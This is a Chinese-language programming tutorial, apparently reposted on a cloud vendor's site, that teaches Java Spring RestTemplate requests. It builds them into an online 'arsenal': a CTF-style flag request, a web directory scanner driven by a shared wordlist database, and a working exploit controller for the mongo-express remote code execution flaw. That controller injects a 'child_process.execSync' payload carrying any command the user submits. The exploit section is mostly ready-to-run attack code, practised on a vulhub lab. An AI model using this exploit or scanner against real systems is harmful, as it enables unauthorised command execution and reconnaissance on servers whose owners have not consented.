温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

java分布式基于RestTemplate怎么用

发布时间:2022-02-19 14:27:16 来源:亿速云 阅读:136 作者:小新 栏目:开发技术

这篇文章主要介绍了java分布式基于RestTemplate怎么用,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

    1.前言

    最近在接触到分布式方面知识的时候,学习了RestTemplate的一些使用。RestTemplate比较常见的就是用来进行一些http请求。小编在使用之后,在语法简洁的同时,感觉非常的方便。

    于是乎在后面就想到了,通过RestTemplate来做成在线的"武器库",会不会更方便呢。因为Springboot开发本来就比较简单,而且在后期进行一些团队协作的时候,用在线的平台是不是相对于团队更方便?避免了因为环境不一致而造成的问题。

    2.RestTemplate get请求及传参

    2.1正常get请求不带参

    首先来用一下正常不带参的请求,既然要使用RestTemplate,那么肯定首先要new出来。之后使用rest.exchange进行请求。

    exchange参数说明如下:

    类型说明
    url请求路径
    method请求的方法(GET、POST、PUT等)
    requestEntityHttpEntity对象,封装了请求头和请求体
    responseType返回数据类型
    uriVariables支持PathVariable类型的数据。

    参数1,2不做过多讲解,参数3的话,在初始化HttpEntity的时候,就可以传入一个自定义的headers。

    所以提前通过HttpHeaders headers = new HttpHeaders();

    进行设置headers并传入即可。

    @RequestMapping("gettest")
    public @ResponseBody String param(){
    RestTemplate rest = new RestTemplate();
    HttpHeaders headers = new HttpHeaders();
    headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
    
    String url = "http://127.0.0.1/t.php";
    ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>       (null,headers),String.class);
    
    String body = res.getBody();
    return body;
    }

    在上方的代码中,请求的是一个php文件,而该php文件非常简单,只是打印出user_agent。

    java分布式基于RestTemplate怎么用

    在打印出user_agent之后,ResponseEntity res这儿就接收到了回显信息,最后在通过res.getBody();成功获取到页面的回显数据

    2.2 get请求带参使用

    了解完上面的无参get请求之后,接下来了解一下如何传参?

    是不是感觉有点枯燥了?为此加了点CTF元素。代码如下,只有当用户传参符合第四行的if判断,才会进行输出正确的flag

    java分布式基于RestTemplate怎么用

    传参方式:

    这种也是最为常见的一种,就是使用参数接收,是不是感觉和上方无参get方式的代码非常相似?下方形参agent和value就是在网页中的参数名(PS:学过springboot的小伙伴应该都知道)。之后将agent设置到headers里面,而value进行了拼接到**t.php?value= **后面进行当做参数值传入

    public @ResponseBody String param(**String agent,String value**){
            RestTemplate rest = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            headers.set("user-agent",**agent**);
            String url = "http://127.0.0.1/t.php?value="+**value**;
            ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
            String body = res.getBody();
            return body;
        }

    最后进行测试一下,成功进行传参获取到了“flag”

    java分布式基于RestTemplate怎么用

    2.3 编写在线目录扫描脚本

    既然玩转了get请求之后,那就来做一个目录扫描的小功能吧。毕竟学以致用。

    整体实现流程如下,采用springboot,并整合mybatis。这里没有写Service层,因为毕竟都是初步实现而已。

    而最为显著的一个优点就是:站点目录都会存入到数据库中,这就在后期发展中避免了字典少,不够用的问题。因为团队成员都可以将自己的字典存入到该数据库中。

    java分布式基于RestTemplate怎么用

    首先准备好数据库和一些"字典",测试阶段,本人自己就手动添加了几个。后续如果字典庞大,可自己写个小脚本导入到数据库即可。

    java分布式基于RestTemplate怎么用

    数据库准备好之后,就可以进行整合mybatis了。这里pom文件需要加载mybatis和mysql的依赖。

    目录结构如下:一个Controller,一个mapper和xml配置文件,以及一个用来存储的类

    java分布式基于RestTemplate怎么用

    application主配置文件,主要用来写一些数据库配置

    server.port=8081
    spring.datasource.username=root
    spring.datasource.password=root
    spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8
    mybatis.mapper-locations=classpath:Mapper/*.xml

    Mapper代码如下,记得要加上@Mapper注解

    @Mapper
    public interface MuluMapper {
        List<catalogue> selectAll();
    }

    Mapper.xml配置,用来查询数据库中的 “字典”

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE mapper
            PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
            "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
    <mapper namespace="com.example.restclien.Dao.MuluMapper">
    <select id="selectAll" resultType="com.example.restclien.Dao.catalogue">
            select * from catalogue
        </select>
    </mapper>

    既然配置好之后,那就开始实现重要功能点了!代码简单讲解一下:首先通过@Autowired把mapper自动注入。

    之后 List<catalogue> list = muluMapper.selectAll();

    会到mapper.xml中执行select查询语句,并将其保存到List集合中。最后到for循环中进行循环遍历过程中,将url与获取的数据库中的name字段内容拼接保存到temp这个临时变量。

    举个例子:

    用户输入url为http://127.0.0.1

    name字段第一个内容为:admin

    那么最终 temp=http://127.0.0.1/admin

    拼接完成之后,通过exchange访问,最终res.getStatusCodeValue()获取响应码,为200的话,就判定该文件存在。(PS:这里判断的比较潦草,比如403等情况没有进行判断)

    @RestController
    public class MapperController {
        @Autowired
        MuluMapper muluMapper;
        @RequestMapping("/tance")
        public String tance(String url) {
            RestTemplate rest = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            List<String> lists = new ArrayList<>();
            headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
            List<catalogue> list = muluMapper.selectAll();
            if(!url.endsWith("/")){
                url+="/";
            }
    
            for (catalogue tance : list) {
                String temp = url+tance.getName();
                try{
                    ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
                    lists.add("目录存在:"+temp+" 响应状态码为:"+res.getStatusCodeValue());
                }catch(Exception e){
                    e.printStackTrace();
                }
    
            }
            return lists.toString();
        }
    }

    看一下最终成品吧,成功实现一款简易的在线web目录扫描

    java分布式基于RestTemplate怎么用

    java分布式基于RestTemplate怎么用

    3.RestTemplate post请求

    3.1 post请求玩法

    有了上面的思路之后,post也类似。那么为了防止大家感觉枯燥,继续来玩这道"CTF"

    php的代码没有太大变动,只是请求换成了post

    java分布式基于RestTemplate怎么用

    RestTemplate代码如下:传参将agent设置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解为这个LinkedMultiValueMap就是用来存储post要提交的数据,而最后这个稍作不同的是,用的restTemplate.postForEntity()进行post提交数据即可,与get是非常类似的。

    @RequestMapping("/Post01")
        public @ResponseBody
        String Post01(String agent,String value){
            RestTemplate restTemplate = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            headers.set("user-agent",agent);
            String url = "http://127.0.0.1/t.php";
            LinkedMultiValueMap params = new LinkedMultiValueMap();
            params.add("value",value);
            ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);
            return str.getBody();
        }

    最后传参即可,dong的一下,“flag”也就出现了

    3.2 mongo-express 远程代码执行漏洞脚本编写

    靶场安装直接去vulhub下载即可。安装过程很简单,启动之后

    java分布式基于RestTemplate怎么用

    漏洞利用过程更为简单execSync中输入要执行的命令即可。返回Valid表示执行成功了。

    java分布式基于RestTemplate怎么用

    之后前往docker查看即可,发现成功创建1.txt

    java分布式基于RestTemplate怎么用

    接下来编写利用脚本

    先准备一个比较丑的前端页面,存到static目录中,这是Springboot默认存放静态资源的地方。

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>mongo-express 远程代码执行漏洞</title>
    </head>
    <body>
    <form action="/exec" method="post">
        请输入漏洞URL:<input type="text" name="url"/><br/>
        请输入要执行的命令:<input type="text" name="command"/>
        <input type="submit" value="提交">
    </form>
    </body>
    </html>

    Controller编写思路,首先可以看到action提交到了exec,所以RequestMapping写成exec即可,参数的话,一个url用来接收url地址的,一个command用来接收命令。

    java分布式基于RestTemplate怎么用

    完整Controller如下,笔者带你进一步分析:在paramMap.add语句中,可以看到对输入进来command进行了拼接,假设笔者这里输入的为“ls”,从而构成了如下数据

    document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)

    最后使用的exchange方法进行的POST提交,提交的URL为笔者传入的,而command传入并拼接进去之后,数据最终存到了httpEntity中,,而这里的参数就不做过多讲解,因为有了前面的基础,应该都能一看懂什么意思。

    @RequestMapping("/exec")
        public @ResponseBody String Post01(String url,String command){
            RestTemplate restTemplate = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
            MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();
            paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");
            HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);
            ResponseEntity<String> response = null;
            try {
                response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);
            }catch(NullPointerException e){
                e.printStackTrace();
            }
            return response.getBody();
        }

    最终测试过程,编写脚本利用成功

    java分布式基于RestTemplate怎么用

    java分布式基于RestTemplate怎么用

    java分布式基于RestTemplate怎么用

    感谢你能够认真阅读完这篇文章,希望小编分享的“java分布式基于RestTemplate怎么用”这篇文章对大家有帮助,同时也希望大家多多支持亿速云,关注亿速云行业资讯频道,更多相关知识等着你来学习!

    向AI问一下细节

    免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

    AI